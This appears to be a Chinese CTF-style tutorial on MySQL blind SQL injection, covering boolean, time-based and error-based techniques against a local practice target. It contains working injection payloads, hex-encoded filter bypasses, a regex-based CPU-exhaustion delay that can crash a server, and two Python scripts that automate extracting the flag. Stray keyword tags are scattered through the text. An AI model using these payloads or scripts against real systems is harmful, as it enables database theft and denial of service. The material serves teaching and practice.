Blind SQL(盲注)是SQL注入攻擊的其中一種。在sql注入過程當中,sql語句執行後數據不會回顯到前端頁面,此時,咱們須要利用一些方法進行判斷或者嘗試,這個過程稱之爲盲注。php
本文涉及知識點實操練習:MySQL盲注 (本實驗講解了MySQL注入中,3種盲注方式:基於布爾的盲注、基於時間的盲注、基於報錯的盲注。經過學習本實驗,能瞭解盲注原理。)前端
若expr1
爲true,則返回expr2
,爲false則返回expr3
python
SELECT IF(TRUE, 'A','B') -- 輸出結果:A SELECT IF(FALSE,'A','B') -- 輸出結果:B
返回字符串str
最左面字符的ASCII值正則表達式
SELECT ASCII("flag") -- 輸出結果:102
返回字符串str
第一個字符的ASCII值sql
SELECT ORD("flag") -- 輸出結果:102
將ASCII碼值int
轉換成字符數據庫
SELECT CHAR(65) -- 輸出結果:A
從pos
位置開始,截取字符串str
共len
個長度的字符緩存
SELECT MID("Hello World", 3, 5) -- 輸出結果:llo W
與SUBSTR(str,pos,len) 效果相同
返回字符串str
左邊部分共len
個字符服務器
SELECT LEFT("flag", 2) -- 輸出結果:fl
duration
是休眠的時長,以秒爲單位,也能夠是小數ide
SELECT SLEEP(3) # [SQL] SELECT SLEEP(3) # 受影響的行: 0 # 時間: 3.005ms
正則表達式,用來匹配文本的特殊的串(字符集合)函數
SELECT "FLAG" REGEXP "LA" -- 輸出結果:1 SELECT "FLAG" REGEXP "[0-9]" -- 輸出結果:0
LENGTH(str) -- 返回字符串str的長度 DATABASE() -- 返回當前數據庫名 VERSION() -- 返回當前MySQL版本
根據注入點的輸入,頁面只返回True和False兩種類型頁面。利用頁面返回不一樣,逐個猜解數據。
SELECT IF(LENGTH(DATABASE())>3, 1, 2) -- 輸出結果:1 SELECT IF(LENGTH(DATABASE())>4, 1, 2) -- 輸出結果:2
據此可知數據庫名的長度爲4
經過執行時間的長短來判斷是否執行成功,也就是時間延遲注入。
SELECT IF(MID(DATABASE(),1,1)='c', SLEEP(3), 2) -- 3秒後才響應 SELECT IF(MID(DATABASE(),1,1)='a', SLEEP(3), 2) -- 當即響應
據此可知數據庫名的第一個字符爲c
如下2道題目:flag在flag表的flag字段
在本地搭建靶機,用post傳參,變量keywords
接收
基於運行錯誤的布爾盲注即可以經過sql語句的語法、語義分析,但運行時報錯。
咱們能夠將其做爲IF(expr1,expr2,expr3)的expr3
,當expr1
爲true時,返回expr2
,頁面正常,而爲false時,則會執行expr3
,此時由於運行錯誤而頁面沒法正常顯示。
ST_GeomFromText(character-string[, srid]) 是根據字符串表示構造幾何的方法,即:
SELECT ST_GeomFromText( 'LineString( 1 2, 5 7 )', 4326 ) -- 輸出結果:[0102000020E610000002000000000000000000F03F000000000000004000000000000014400000000000001C40]
ST_X(point):該方法是獲取點的x座標,它操做的對象是一個點,即:
SELECT ST_X(POINT(2,3)) -- 輸出結果:2
但當操做對象不是點時,運行會報錯,卻可以經過sql的檢查,因此能夠用來構造true和false兩種狀況下出現不一樣的頁面
SELECT IF(1, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- 輸出結果:1 SELECT IF(0, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.
P.s.
ST_GeomFromText 、 ST_MPointFromText 是兩個能夠從文本中解析Spatial function的函數。
須要注意的是 ST_GeomFromText 針對的是 POINT() 函 數, ST_MPointFromText 針對的是 MULTIPOINT() 函數的。
其餘可用的函數:
SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0); SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0); SELECT IF({}, ST_X(MADS), 0); SELECT IF({}, ST_MPointFromText('MADS'),0); SELECT IF({}, ST_GeomFromText('MADS'),0);
若是題目過濾了ST
,能夠嘗試用GeomFromText()
和X()
,但MySQL在5.7.6版本以後就棄用了。
Name | Description |
---|---|
X() (deprecated 5.7.6) |
Return X coordinate of Point |
GeomFromText() (deprecated 5.7.6) |
Return geometry from WKT |
當輸入一、二、3等數字時,頁面返回Hello World
而當輸入被過濾的關鍵字時,網頁返回No Hacker
由此能夠測試一些被過濾的關鍵字有:
'
、"
、or
、-
、*
、>
、<
、=
、like
、sleep
、substr
、mid
、ascii
、ord
然而在不被ban掉的狀況下,網頁只能返回一種頁面,沒法進行日常的數字型盲注。
而像if(0,1e9999,1)
,由於沒法經過sql語句的檢查,因此頁面沒法正常顯示,更別說if(1,1e9999,1)
了。
此時能夠考慮用基於運行錯誤的布爾盲注,語法、語義上可以經過sql的檢查,但若是執行到該語句卻會運行錯誤,這樣便可以構造true和false兩種狀況了。
用if來進行盲注,'
被過濾了,用十六進制繞過。
if(1,1,ST_X(ST_GeomFromText('POINT(mads)')) > if(1,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329))
此時頁面返回Hello World
。題目說flag在flag表的flag字段,用left()截取第一個字符進行判斷,=
和like
能夠用regexp
代替。
構造payload:
if(left((select flag from flag),1) regexp char(102),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))
此時頁面仍然返回Hello World
,能夠知道flag的第一個字符是char(102),也就是f
if(left((select flag from flag),2) regexp char(102,108),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))
而第二個字符是char(108),也就是字符l
用python寫個腳本
import requests def fun(string): result = "" j = 1 for i in string: if j != len(string): result = result + str(ord(i)) + "," else: result = result + str(ord(i)) j += 1 return "char(" + result + ")" url = "http://sqlblind.com/index.php" tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{" flag = "" for i in range(1, 50): for j in tables: if j == "{" or j == "}": j = "\\" + j payload = "if(left((select flag from flag),%s) regexp %s,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))" % ( i, fun(flag+j)) r = requests.post(url=url, data={'keywords': payload}) if "Hello World" in r.text: flag = flag + j print(flag.replace("\\", "")) break
因爲在這裏過濾了ST
,因此以ST
開頭的函數會被ban,沒法使用。
同時又過濾了sleep
,因此沒法經過時間休眠來延遲時間,也就無法用sleep來進行時間盲注。
但咱們能夠經過sql語句來執行一個運算時間很長很長的語句,以此來做爲時間延遲,也就是說用if來判斷flag的字符,若是正確則執行一個須要很長運算時間的語句,不然返回0。
因此以後用python寫腳本的時候,設定一個超時時間,在設定時間內沒有返回內容即字符正確,這樣便能進行時間盲注了。
在此以前先了解幾個函數
對字符串str
進行右填充,用padstr
填充至str
長度爲len
個字符
SELECT RPAD('hi', 5, '?') -- 輸出結果:hi???
鏈接多個字符串爲一個字符串
SELECT CONCAT('he', 'll', 'o') -- 輸出結果:hello
返回字符串str
重複count
次後的字符串
SELECT REPEAT('ab', '3') -- 輸出結果:ababab
構造payload:
1 and if((select flag from flag) regexp binary 'f',rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b'),0)
也就是說若是flag的第一個字符爲f
的話,則會執行下面這句語句:
rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')
rpad('a',5000000,'a')
會填充爲5000000個a
,會構形成一個很長的字符串,與字符串concat(repeat('(a.*)+',30),'b')
去做正則匹配,經過巨大的運算量來延時。
這樣作的話服務器可能會崩
因爲題目過濾了'
,因此用十六進制代替
1 and if((select flag from flag) regexp binary 0x66,rpad(0x61,5000000,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)
如下兩種圖片用get傳參測試時間延遲效果
猜中flag的第一個字符時:
而若是猜第一個字符爲0x01
,則爲false,if返回0
因此咱們能夠經過大量的運算時間作延遲,進行時間盲注。
但服務器進程在接到客戶端傳送過來的SQL語句時,不會直接去數據庫查詢。服務器進程把這個SQL語句的字符轉化爲ASCII等效數字碼,接着這個ASCII碼被傳遞給一個HASH函數,並返回一個hash值,而後服務器進程將到shared pool中的library cache(高速緩存)中去查找是否存在相同的hash值。若是存在,服務器進程將使用這條語句已高速緩存在SHARED POOL的library cache中的已分析過的版原本執行,省去後續的解析工做,這即是軟解析。
因此屢次查詢rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')
後將再也不延遲,因此對rpad()的5000000
須要每次自減1
腳原本自Gqleung(http://www.plasf.cn)
import requests def ord2hex(string): result = "" for i in string: r = hex(ord(i)) r = r.replace('0x', '') result = result+r return '0x'+result url = "http://sqlblind.com/index.php" tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{" result = "" for i in range(1, 50): for j in tables: if j == "{" or j == "}": j = '\\'+j payload = "1 and if((select flag from flag) regexp binary %s,rpad(0x61,%d,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)" % ( ord2hex("^"+result+j), 5000000-i) try: r = requests.post(url=url, data={'keywords': payload}, timeout=3) except Exception as e: result = result+j print(result.replace('\\', ''))
timeout:設定超時時間,秒爲單位在設定時間內沒有返回內容則返回一個timeout異常如果3秒內沒有返回內容則返回timeout異常,即字符正確,打印輸出